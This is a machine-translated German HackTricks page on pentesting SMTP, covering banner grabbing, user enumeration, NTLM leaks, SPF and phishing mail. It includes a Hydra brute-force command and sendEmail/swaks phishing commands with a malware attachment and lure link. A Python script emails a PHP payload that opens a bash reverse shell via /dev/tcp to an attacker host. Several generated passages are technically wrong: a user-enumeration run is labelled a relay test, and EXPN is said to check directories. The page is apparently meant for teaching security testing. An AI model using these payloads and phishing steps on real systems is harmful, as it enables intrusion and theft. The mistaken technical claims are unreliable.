mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 04:23:33 +00:00
734 lines
44 KiB
Markdown
734 lines
44 KiB
Markdown
# 25,465,587 - Pentesting SMTP/s
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories** senden.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Sofort verfügbare Einrichtung für Schwachstellenbewertung und Penetrationstests**. Führen Sie einen vollständigen Pentest von überall aus mit über 20 Tools und Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Exploit-Module, um ihnen etwas Zeit zu geben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
|
|
|
{% embed url="https://pentest-tools.com/" %}
|
|
|
|
## **Grundlegende Informationen**
|
|
|
|
Das **Simple Mail Transfer Protocol (SMTP)** ist ein Protokoll, das innerhalb der TCP/IP-Suite für das **Senden und Empfangen von E-Mails** verwendet wird. Aufgrund seiner Einschränkungen bei der Warteschlangenbildung von Nachrichten beim Empfänger wird SMTP häufig zusammen mit **POP3 oder IMAP** eingesetzt. Diese zusätzlichen Protokolle ermöglichen es Benutzern, Nachrichten in einem Server-Postfach zu speichern und sie regelmäßig herunterzuladen.
|
|
|
|
In der Praxis ist es üblich, dass **E-Mail-Programme SMTP zum Senden von E-Mails** verwenden und gleichzeitig **POP3 oder IMAP zum Empfangen** verwenden. Auf Unix-basierten Systemen ist **sendmail** der am häufigsten verwendete SMTP-Server für E-Mail-Zwecke. Das kommerzielle Paket Sendmail umfasst einen POP3-Server. Darüber hinaus bietet **Microsoft Exchange** einen SMTP-Server und die Möglichkeit, POP3-Unterstützung einzuschließen.
|
|
|
|
**Standardport:** 25,465(ssl),587(ssl)
|
|
```
|
|
PORT STATE SERVICE REASON VERSION
|
|
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
|
|
```
|
|
### E-Mail-Header
|
|
|
|
Wenn Sie die Möglichkeit haben, dass das Opfer Ihnen eine E-Mail sendet (zum Beispiel über das Kontaktformular der Webseite), nutzen Sie diese Chance, da Sie durch die Header der E-Mail etwas über die interne Topologie des Opfers erfahren können.
|
|
|
|
Sie können auch eine E-Mail von einem SMTP-Server erhalten, indem Sie versuchen, an diesen Server eine E-Mail an eine nicht existierende Adresse zu senden (da der Server dem Angreifer eine NDN-E-Mail senden wird). Stellen Sie jedoch sicher, dass Sie die E-Mail von einer zugelassenen Adresse senden (überprüfen Sie die SPF-Richtlinie) und dass Sie NDN-Nachrichten empfangen können.
|
|
|
|
Sie sollten auch versuchen, verschiedene Inhalte zu senden, da Sie in den Headern möglicherweise interessantere Informationen finden, wie z.B. `X-Virus-Scanned: by av.domain.com`.\
|
|
Sie sollten die EICAR-Testdatei senden.\
|
|
Das Erkennen des **AV** kann es Ihnen ermöglichen, **bekannte Schwachstellen** auszunutzen.
|
|
|
|
## Grundlegende Aktionen
|
|
|
|
### **Banner Grabbing/Grundlegende Verbindung**
|
|
|
|
**SMTP:**
|
|
```bash
|
|
nc -vn <IP> 25
|
|
```
|
|
**SMTPS**:
|
|
|
|
SMTPS steht für "Secure SMTP" und ist eine verschlüsselte Version des Simple Mail Transfer Protocol (SMTP). Es wird verwendet, um E-Mails sicher zwischen einem E-Mail-Client und einem Mailserver zu übertragen. SMTPS verwendet eine SSL- oder TLS-Verschlüsselungsschicht, um die Verbindung zu sichern und die Vertraulichkeit der übertragenen Daten zu gewährleisten.
|
|
|
|
Um eine Verbindung zu einem SMTPS-Server herzustellen, muss der E-Mail-Client die entsprechenden SSL- oder TLS-Zertifikate des Servers überprüfen. Dies stellt sicher, dass die Verbindung authentisch ist und vor Man-in-the-Middle-Angriffen geschützt ist.
|
|
|
|
SMTPS verwendet standardmäßig den TCP-Port 465 für die Verbindung. Es ist wichtig zu beachten, dass SMTPS nicht dasselbe ist wie STARTTLS, bei dem die Verschlüsselung erst nach dem Verbindungsaufbau gestartet wird. Bei SMTPS wird die Verschlüsselung von Anfang an angewendet.
|
|
|
|
Um SMTPS in einem Penetrationstest zu überprüfen, können verschiedene Techniken angewendet werden, wie z.B. das Überprüfen auf schwache SSL/TLS-Konfigurationen, das Ausnutzen von Schwachstellen in der SSL/TLS-Implementierung oder das Durchführen von Man-in-the-Middle-Angriffen, um den Datenverkehr abzufangen und zu analysieren.
|
|
|
|
Es ist wichtig, dass Penetrationstester über ein grundlegendes Verständnis von SMTPS verfügen, um Schwachstellen in der E-Mail-Kommunikation zu identifizieren und zu beheben.
|
|
```bash
|
|
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
|
|
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
|
|
```
|
|
### Ermittlung der MX-Server einer Organisation
|
|
|
|
Um die MX-Server (Mail Exchange) einer Organisation zu finden, können verschiedene Methoden verwendet werden:
|
|
|
|
#### DNS-Abfrage
|
|
|
|
Eine Möglichkeit besteht darin, eine DNS-Abfrage durchzuführen, um die MX-Einträge der Domain der Organisation zu ermitteln. Dies kann mit dem Befehl `nslookup` oder `dig` erfolgen. Hier ist ein Beispiel für die Verwendung von `nslookup`:
|
|
|
|
```bash
|
|
nslookup -type=mx example.com
|
|
```
|
|
|
|
Dieser Befehl gibt die MX-Einträge für die Domain "example.com" zurück.
|
|
|
|
#### Online-Dienste
|
|
|
|
Es gibt auch Online-Dienste, die MX-Server für eine bestimmte Domain ermitteln können. Einige beliebte Dienste sind:
|
|
|
|
- MX Toolbox (https://mxtoolbox.com/)
|
|
- DNSstuff (https://www.dnsstuff.com/)
|
|
- CentralOps (https://centralops.net/co/)
|
|
|
|
Diese Dienste ermöglichen es Ihnen, eine Domain einzugeben und die zugehörigen MX-Einträge abzurufen.
|
|
|
|
#### Reverse Lookup
|
|
|
|
Eine weitere Methode besteht darin, einen Reverse Lookup durchzuführen, um die MX-Server einer IP-Adresse zu ermitteln. Dies kann nützlich sein, wenn Sie die IP-Adresse eines Mail-Servers haben und die zugehörige Domain ermitteln möchten. Sie können den Befehl `nslookup` oder `dig` verwenden, um den Reverse Lookup durchzuführen. Hier ist ein Beispiel für die Verwendung von `nslookup`:
|
|
|
|
```bash
|
|
nslookup <IP-Adresse>
|
|
```
|
|
|
|
Ersetzen Sie `<IP-Adresse>` durch die tatsächliche IP-Adresse des Servers.
|
|
|
|
Die Ermittlung der MX-Server einer Organisation ist ein wichtiger Schritt bei der Durchführung von Penetrationstests im Zusammenhang mit SMTP (Simple Mail Transfer Protocol). Es ermöglicht Ihnen, potenzielle Schwachstellen oder Angriffsvektoren im Zusammenhang mit der E-Mail-Kommunikation zu identifizieren.
|
|
```bash
|
|
dig +short mx google.com
|
|
```
|
|
### Enumeration
|
|
|
|
Die Enumeration ist der erste Schritt bei der Pentesting von SMTP-Diensten. Das Ziel der Enumeration ist es, Informationen über den SMTP-Server zu sammeln, um Schwachstellen zu identifizieren und mögliche Angriffspunkte zu finden.
|
|
|
|
#### Port-Scanning
|
|
|
|
Verwenden Sie ein Port-Scanning-Tool wie Nmap, um den SMTP-Port (Standardport 25) auf dem Zielserver zu identifizieren. Führen Sie den Befehl `nmap -p 25 <Ziel-IP>` aus, um den Port zu überprüfen.
|
|
|
|
#### Banner-Grabbing
|
|
|
|
Verwenden Sie ein Tool wie Telnet oder Netcat, um eine Verbindung zum SMTP-Server herzustellen und den Banner zu erfassen. Der Banner enthält oft Informationen über den Server und die verwendete Software. Führen Sie den Befehl `telnet <Ziel-IP> 25` aus und überprüfen Sie die Antwort des Servers.
|
|
|
|
#### User Enumeration
|
|
|
|
Versuchen Sie, gültige Benutzernamen auf dem SMTP-Server zu ermitteln. Verwenden Sie Tools wie SMTP-User-Enum oder Metasploit, um eine Liste möglicher Benutzernamen zu überprüfen. Führen Sie den Befehl `smtp-user-enum -M VRFY -U /path/to/usernames.txt -t <Ziel-IP>` aus, um die Benutzernamen zu überprüfen.
|
|
|
|
#### SMTP-Verzeichnisüberprüfung
|
|
|
|
Überprüfen Sie, ob der SMTP-Server eine Verzeichnisüberprüfung zulässt. Verwenden Sie Tools wie smtp-user-enum oder Metasploit, um eine Liste möglicher Verzeichnisnamen zu überprüfen. Führen Sie den Befehl `smtp-user-enum -M EXPN -U /path/to/directories.txt -t <Ziel-IP>` aus, um die Verzeichnisse zu überprüfen.
|
|
|
|
#### SMTP-Relay-Test
|
|
|
|
Überprüfen Sie, ob der SMTP-Server als Relay-Server verwendet werden kann. Verwenden Sie Tools wie smtp-user-enum oder Metasploit, um eine Relay-Test durchzuführen. Führen Sie den Befehl `smtp-user-enum -M RCPT -U /path/to/usernames.txt -t <Ziel-IP>` aus, um den Relay-Test durchzuführen.
|
|
|
|
#### SMTP-Exploits
|
|
|
|
Überprüfen Sie, ob der SMTP-Server anfällig für bekannte Exploits ist. Verwenden Sie Tools wie Metasploit, um bekannte Schwachstellen zu überprüfen. Führen Sie den Befehl `use auxiliary/scanner/smtp/smtp_enum` aus, um den SMTP-Server auf Schwachstellen zu überprüfen.
|
|
|
|
#### SMTP-Brute-Force
|
|
|
|
Versuchen Sie, das Passwort für einen gültigen Benutzernamen auf dem SMTP-Server zu erraten. Verwenden Sie Tools wie Hydra oder Medusa, um einen Brute-Force-Angriff durchzuführen. Führen Sie den Befehl `hydra -L /path/to/usernames.txt -P /path/to/passwords.txt -t 4 -s 25 -vV <Ziel-IP> smtp` aus, um den Brute-Force-Angriff durchzuführen.
|
|
```bash
|
|
nmap -p25 --script smtp-commands 10.10.10.10
|
|
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
|
```
|
|
### NTLM Auth - Informationslecks
|
|
|
|
Wenn der Server NTLM-Authentifizierung (Windows) unterstützt, können sensible Informationen (Versionen) abgerufen werden. Weitere Informationen [**hier**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
|
|
```bash
|
|
root@kali: telnet example.com 587
|
|
220 example.com SMTP Server Banner
|
|
>> HELO
|
|
250 example.com Hello [x.x.x.x]
|
|
>> AUTH NTLM 334
|
|
NTLM supported
|
|
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
|
|
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
|
|
```
|
|
Oder **automatisieren** Sie dies mit dem **nmap**-Plugin `smtp-ntlm-info.nse`
|
|
|
|
### Interner Servername - Offenlegung von Informationen
|
|
|
|
Einige SMTP-Server vervollständigen automatisch die Absenderadresse, wenn der Befehl "MAIL FROM" ohne eine vollständige Adresse ausgegeben wird, wodurch der interne Name offengelegt wird:
|
|
```
|
|
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
|
|
EHLO all
|
|
250-somedomain.com Hello [x.x.x.x]
|
|
250-TURN
|
|
250-SIZE 52428800
|
|
250-ETRN
|
|
250-PIPELINING
|
|
250-DSN
|
|
250-ENHANCEDSTATUSCODES
|
|
250-8bitmime
|
|
250-BINARYMIME
|
|
250-CHUNKING
|
|
250-VRFY
|
|
250 OK
|
|
MAIL FROM: me
|
|
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
|
|
```
|
|
### Sniffing
|
|
|
|
Überprüfen Sie, ob Sie Passwörter aus den Paketen zum Port 25 sniffen können.
|
|
|
|
### [Authentifizierungs-Brute-Force](../../generic-methodologies-and-resources/brute-force.md#smtp)
|
|
|
|
## Benutzername-Brute-Force-Enumeration
|
|
|
|
**Authentifizierung ist nicht immer erforderlich**
|
|
|
|
### RCPT TO
|
|
```bash
|
|
$ telnet 1.1.1.1 25
|
|
Trying 1.1.1.1...
|
|
Connected to 1.1.1.1.
|
|
Escape character is '^]'.
|
|
220 myhost ESMTP Sendmail 8.9.3
|
|
HELO x
|
|
250 myhost Hello 18.28.38.48, pleased to meet you
|
|
MAIL FROM:example@domain.com
|
|
250 2.1.0 example@domain.com... Sender ok
|
|
RCPT TO:test
|
|
550 5.1.1 test... User unknown
|
|
RCPT TO:admin
|
|
550 5.1.1 admin... User unknown
|
|
RCPT TO:ed
|
|
250 2.1.5 ed... Recipient ok
|
|
```
|
|
### VRFY
|
|
|
|
VRFY (Verify) ist ein Befehl, der in SMTP (Simple Mail Transfer Protocol) verwendet wird, um die Gültigkeit einer E-Mail-Adresse zu überprüfen. Es wird normalerweise von E-Mail-Servern verwendet, um zu überprüfen, ob eine bestimmte E-Mail-Adresse auf ihrem System existiert.
|
|
|
|
Der VRFY-Befehl kann von Hackern verwendet werden, um Informationen über Benutzerkonten auf einem E-Mail-Server zu sammeln. Durch die Überprüfung der Gültigkeit von E-Mail-Adressen können Hacker feststellen, welche Konten existieren und welche nicht. Dies kann ihnen helfen, potenzielle Ziele für Angriffe zu identifizieren.
|
|
|
|
Es ist wichtig zu beachten, dass viele moderne E-Mail-Server den VRFY-Befehl deaktiviert haben, um die Sicherheit zu erhöhen. Dies liegt daran, dass der Befehl von Hackern missbraucht werden kann, um Informationen zu sammeln und Schwachstellen im System zu identifizieren.
|
|
|
|
Wenn Sie den VRFY-Befehl während eines Penetrationstests verwenden möchten, sollten Sie sicherstellen, dass er auf dem Zielserver aktiviert ist. Andernfalls müssen Sie alternative Methoden verwenden, um Informationen über Benutzerkonten zu sammeln.
|
|
```bash
|
|
$ telnet 1.1.1.1 25
|
|
Trying 1.1.1.1...
|
|
Connected to 1.1.1.1.
|
|
Escape character is '^]'.
|
|
220 myhost ESMTP Sendmail 8.9.3
|
|
HELO
|
|
501 HELO requires domain address
|
|
HELO x
|
|
250 myhost Hello 18.28.38.48, pleased to meet you
|
|
VRFY root
|
|
250 Super-User root@myhost
|
|
VRFY blah
|
|
550 blah... User unknown
|
|
```
|
|
### EXPN
|
|
|
|
Die EXPN-Befehl wird verwendet, um die vollständige E-Mail-Adresse eines Empfängers zu ermitteln. Dies kann nützlich sein, um Informationen über die E-Mail-Infrastruktur zu sammeln und potenzielle Schwachstellen zu identifizieren.
|
|
|
|
Um den EXPN-Befehl zu verwenden, senden Sie einfach den Befehl "EXPN <Benutzername>" an den SMTP-Server. Der Server antwortet dann mit der vollständigen E-Mail-Adresse des angegebenen Benutzers, sofern verfügbar.
|
|
|
|
Es ist wichtig zu beachten, dass der EXPN-Befehl in den meisten modernen SMTP-Implementierungen deaktiviert ist, da er potenziell sensible Informationen preisgeben kann. Es ist daher möglich, dass der Befehl nicht auf allen SMTP-Servern funktioniert.
|
|
|
|
Um den EXPN-Befehl zu verwenden, können Sie Tools wie Telnet oder spezialisierte SMTP-Client-Tools verwenden. Hier ist ein Beispiel für die Verwendung des EXPN-Befehls mit Telnet:
|
|
|
|
```
|
|
telnet <SMTP-Server-IP> 25
|
|
EXPN <Benutzername>
|
|
```
|
|
|
|
Wenn der EXPN-Befehl erfolgreich ist, erhalten Sie die vollständige E-Mail-Adresse des angegebenen Benutzers. Wenn der Befehl nicht funktioniert, erhalten Sie möglicherweise eine Fehlermeldung oder eine leere Antwort.
|
|
|
|
Es ist wichtig, den EXPN-Befehl mit Vorsicht zu verwenden und nur auf Systemen, für die Sie die Berechtigung haben, zu testen. Das unbefugte Ausführen des EXPN-Befehls auf einem SMTP-Server kann als Angriff angesehen werden und rechtliche Konsequenzen haben.
|
|
```bash
|
|
$ telnet 1.1.1.1 25
|
|
Trying 1.1.1.1...
|
|
Connected to 1.1.1.1.
|
|
Escape character is '^]'.
|
|
220 myhost ESMTP Sendmail 8.9.3
|
|
HELO
|
|
501 HELO requires domain address
|
|
HELO x
|
|
EXPN test
|
|
550 5.1.1 test... User unknown
|
|
EXPN root
|
|
250 2.1.5 ed.williams@myhost
|
|
EXPN sshd
|
|
250 2.1.5 sshd privsep sshd@myhost
|
|
```
|
|
### Automatische Tools
|
|
|
|
Es gibt verschiedene automatische Tools, die beim Pentesting von SMTP-Diensten verwendet werden können. Diese Tools können den Prozess der Identifizierung von Schwachstellen und Sicherheitslücken beschleunigen. Hier sind einige der beliebtesten automatischen Tools:
|
|
|
|
- **Nmap**: Ein leistungsstarkes Netzwerk-Scanning-Tool, das verwendet werden kann, um offene SMTP-Ports zu identifizieren und Informationen über den SMTP-Dienst zu sammeln.
|
|
|
|
- **Metasploit**: Eine umfangreiche Sammlung von Exploits und Payloads, die verwendet werden können, um Schwachstellen in SMTP-Diensten auszunutzen.
|
|
|
|
- **OpenVAS**: Ein Open-Source-Schwachstellenscanner, der verwendet werden kann, um Schwachstellen in SMTP-Diensten zu identifizieren und zu bewerten.
|
|
|
|
- **SMTP User Enum**: Ein Tool, das verwendet werden kann, um gültige Benutzernamen in einem SMTP-Dienst zu ermitteln.
|
|
|
|
- **SMTPTester**: Ein Python-Tool, das verwendet werden kann, um die Konfiguration eines SMTP-Servers zu überprüfen und Schwachstellen zu identifizieren.
|
|
|
|
Es ist wichtig zu beachten, dass automatische Tools allein nicht ausreichen, um eine umfassende Sicherheitsbewertung durchzuführen. Sie sollten immer in Verbindung mit manuellen Tests und einer gründlichen Analyse der Ergebnisse verwendet werden.
|
|
```
|
|
Metasploit: auxiliary/scanner/smtp/smtp_enum
|
|
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
|
|
Nmap: nmap --script smtp-enum-users <IP>
|
|
```
|
|
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Sofort verfügbare Einrichtung für Schwachstellenbewertung und Penetrationstests**. Führen Sie einen vollständigen Pentest von überall aus mit über 20 Tools und Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Exploit-Module, um ihnen etwas Zeit zu geben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
|
|
|
{% embed url="https://pentest-tools.com/" %}
|
|
|
|
## DSN-Berichte
|
|
|
|
**Zustellungsstatusbenachrichtigungsberichte**: Wenn Sie eine **E-Mail** an eine Organisation an eine **ungültige Adresse** senden, benachrichtigt Sie die Organisation, dass die Adresse ungültig war, indem sie Ihnen eine **E-Mail zurückschickt**. Die **Header** der zurückgesendeten E-Mail enthalten möglicherweise **sensible Informationen** (wie die IP-Adresse der Maildienste, die mit den Berichten interagiert haben, oder Informationen zur Antivirensoftware).
|
|
|
|
## [Befehle](smtp-commands.md)
|
|
|
|
### Senden einer E-Mail von der Linux-Konsole
|
|
```bash
|
|
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
|
|
Reading message body from STDIN because the '-m' option was not used.
|
|
If you are manually typing in a message:
|
|
- First line must be received within 60 seconds.
|
|
- End manual input with a CTRL-D on its own line.
|
|
|
|
<phishing message>
|
|
```
|
|
|
|
```bash
|
|
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
|
|
```
|
|
### Senden einer E-Mail mit Python
|
|
|
|
To send an email using Python, you can use the `smtplib` library. Here is an example of how to send an email using a Gmail account:
|
|
|
|
```python
|
|
import smtplib
|
|
|
|
def send_email(sender_email, sender_password, receiver_email, subject, message):
|
|
try:
|
|
server = smtplib.SMTP('smtp.gmail.com', 587)
|
|
server.starttls()
|
|
server.login(sender_email, sender_password)
|
|
email_body = f"Subject: {subject}\n\n{message}"
|
|
server.sendmail(sender_email, receiver_email, email_body)
|
|
print("Email sent successfully!")
|
|
except Exception as e:
|
|
print(f"An error occurred while sending the email: {str(e)}")
|
|
finally:
|
|
server.quit()
|
|
|
|
# Example usage
|
|
sender_email = "your_email@gmail.com"
|
|
sender_password = "your_password"
|
|
receiver_email = "recipient_email@example.com"
|
|
subject = "Hello from Python"
|
|
message = "This is a test email sent using Python."
|
|
|
|
send_email(sender_email, sender_password, receiver_email, subject, message)
|
|
```
|
|
|
|
Make sure to replace `your_email@gmail.com` with your actual Gmail address and `your_password` with your Gmail password. Also, replace `recipient_email@example.com` with the email address of the recipient.
|
|
|
|
This code establishes a connection with the Gmail SMTP server, logs in using the provided credentials, and sends an email with the specified subject and message. If the email is sent successfully, the message "Email sent successfully!" will be printed. If an error occurs, the error message will be printed instead.
|
|
|
|
Note: Before using this code, make sure you have enabled "Less secure app access" in your Gmail account settings.
|
|
```python
|
|
from email.mime.multipart import MIMEMultipart
|
|
from email.mime.text import MIMEText
|
|
import smtplib
|
|
import sys
|
|
|
|
lhost = "127.0.0.1"
|
|
lport = 443
|
|
rhost = "192.168.1.1"
|
|
rport = 25 # 489,587
|
|
|
|
# create message object instance
|
|
msg = MIMEMultipart()
|
|
|
|
# setup the parameters of the message
|
|
password = ""
|
|
msg['From'] = "attacker@local"
|
|
msg['To'] = "victim@local"
|
|
msg['Subject'] = "This is not a drill!"
|
|
|
|
# payload
|
|
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
|
|
|
|
print("[*] Payload is generated : %s" % message)
|
|
|
|
msg.attach(MIMEText(message, 'plain'))
|
|
server = smtplib.SMTP(host=rhost,port=rport)
|
|
|
|
if server.noop()[0] != 250:
|
|
print("[-]Connection Error")
|
|
exit()
|
|
|
|
server.starttls()
|
|
|
|
# Uncomment if log-in with authencation
|
|
# server.login(msg['From'], password)
|
|
|
|
server.sendmail(msg['From'], msg['To'], msg.as_string())
|
|
server.quit()
|
|
|
|
print("[***]successfully sent email to %s:" % (msg['To']))
|
|
```
|
|
## Gegenmaßnahmen gegen Mail Spoofing
|
|
|
|
Organisationen verhindern, dass unbefugte E-Mails in ihrem Namen versendet werden, indem sie **SPF**, **DKIM** und **DMARC** verwenden, da das Spoofen von SMTP-Nachrichten einfach ist.
|
|
|
|
Eine **vollständige Anleitung zu diesen Gegenmaßnahmen** finden Sie unter [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
|
|
|
|
### SPF
|
|
|
|
{% hint style="danger" %}
|
|
SPF [wurde 2014 "veraltet" erklärt](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Das bedeutet, dass anstelle eines **TXT-Eintrags** in `_spf.domain.com` ein Eintrag in `domain.com` mit **derselben Syntax** erstellt wird.\
|
|
Darüber hinaus ist es üblich, frühere SPF-Einträge wiederzuverwenden, wie z.B. `"v=spf1 include:_spf.google.com ~all"`.
|
|
{% endhint %}
|
|
|
|
Das **Sender Policy Framework** (SPF) ist ein Mechanismus, der es Mail Transfer Agents (MTAs) ermöglicht, zu überprüfen, ob ein Host, der eine E-Mail sendet, autorisiert ist, indem er eine Liste autorisierter Mailserver abfragt, die von den Organisationen definiert wurden. Diese Liste, die IP-Adressen/Bereiche, Domains und andere Entitäten enthält, die **berechtigt sind, E-Mails im Namen einer Domain zu senden**, umfasst verschiedene "**Mechanismen**" im SPF-Eintrag.
|
|
|
|
#### Mechanismen
|
|
|
|
Aus [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):
|
|
|
|
| Mechanismus | Beschreibung |
|
|
| ----------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
|
| ALL | Passt immer; wird für ein Standardergebnis wie `-all` für alle IPs verwendet, die nicht von vorherigen Mechanismen abgeglichen wurden. |
|
|
| A | Wenn der Domainname einen Adresseneintrag (A oder AAAA) hat, der zur Absenderadresse aufgelöst werden kann, passt er. |
|
|
| IP4 | Wenn der Absender in einem bestimmten IPv4-Adressbereich liegt, passt er. |
|
|
| IP6 | Wenn der Absender in einem bestimmten IPv6-Adressbereich liegt, passt er. |
|
|
| MX | Wenn der Domainname einen MX-Eintrag hat, der zur Absenderadresse aufgelöst wird, passt er (d.h. die E-Mail stammt von einem der eingehenden Mailserver der Domain). |
|
|
| PTR | Wenn der Domainname (PTR-Eintrag) für die Adresse des Clients in der angegebenen Domain liegt und dieser Domainname zur Adresse des Clients aufgelöst wird (forward-confirmed reverse DNS), passt er. Dieser Mechanismus wird nicht empfohlen und sollte nach Möglichkeit vermieden werden. |
|
|
| EXISTS | Wenn der angegebene Domainname zu einer beliebigen Adresse aufgelöst wird, passt er (unabhängig von der aufgelösten Adresse). Dies wird selten verwendet. Zusammen mit der SPF-Makrosprache bietet es komplexere Übereinstimmungen wie DNSBL-Abfragen. |
|
|
| INCLUDE | Verweist auf die Richtlinie einer anderen Domain. Wenn die Richtlinie dieser Domain bestanden wird, wird auch dieser Mechanismus bestanden. Wenn jedoch die eingeschlossene Richtlinie fehlschlägt, wird die Verarbeitung fortgesetzt. Um die Richtlinie einer anderen Domain vollständig zu delegieren, muss die Umleitungserweiterung verwendet werden. |
|
|
| REDIRECT | <p>Ein Redirect ist ein Verweis auf einen anderen Domainnamen, der eine SPF-Richtlinie hostet. Dadurch können mehrere Domains dieselbe SPF-Richtlinie gemeinsam nutzen. Es ist nützlich, wenn mit einer großen Anzahl von Domains gearbeitet wird, die dieselbe E-Mail-Infrastruktur teilen.</p><p>Die SPF-Richtlinie der im Redirect-Mechanismus angegebenen Domain wird verwendet.</p> |
|
|
|
|
Es ist auch möglich, **Qualifiers** zu identifizieren, die angeben, **was getan werden soll, wenn ein Mechanismus übereinstimmt**. Standardmäßig wird der **Qualifikator "+"** verwendet (d.h. wenn ein Mechanismus übereinstimmt, bedeutet das, dass er erlaubt ist).\
|
|
In der Regel finden Sie **am Ende jeder SPF-Richtlinie** etwas wie: **\~all** oder **-all**. Dies wird verwendet, um anzuzeigen, dass **wenn der Absender keiner SPF-Richtlinie entspricht, die E-Mail als nicht vertrauenswürdig (\~) gekennzeichnet oder abgelehnt (-) werden sollte**.
|
|
|
|
#### Qualifikatoren
|
|
|
|
Jeder Mechanismus innerhalb der Richtlinie kann mit einem der vier Qualifikatoren versehen werden, um das beabsichtigte Ergebnis zu definieren:
|
|
|
|
* **`+`**: Entspricht einem PASS-Ergebnis. Standardmäßig gehen Mechanismen von diesem Qualifikator aus, sodass `+mx` gleichbedeutend mit `mx` ist.
|
|
* **`?`**: Steht für ein NEUTRAL-Ergebnis, das ähnlich wie NONE (keine spezifische Richtlinie) behandelt wird.
|
|
* **`~`**: Kennzeichnet SOFTFAIL und dient als Mittelweg zwischen NEUTRAL und FAIL. E-Mails, die dieses Ergebnis erfüllen, werden in der Regel akzeptiert, aber entsprechend gekennzeichnet.
|
|
* **`-`**: Zeigt FAIL an und legt nahe, dass die E-Mail vollständig abgelehnt werden sollte.
|
|
|
|
Im folgenden Beispiel wird die **SPF-Richtlinie von google.com** veranschaulicht. Beachten Sie die Einbeziehung von SPF-Richtlinien aus verschiedenen Domains in der ersten SPF-Richtlinie:
|
|
```shell-session
|
|
dig txt google.com | grep spf
|
|
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
|
|
|
|
dig txt _spf.google.com | grep spf
|
|
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
|
|
;_spf.google.com. IN TXT
|
|
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
|
|
|
|
dig txt _netblocks.google.com | grep spf
|
|
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
|
|
|
|
dig txt _netblocks2.google.com | grep spf
|
|
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
|
|
|
|
dig txt _netblocks3.google.com | grep spf
|
|
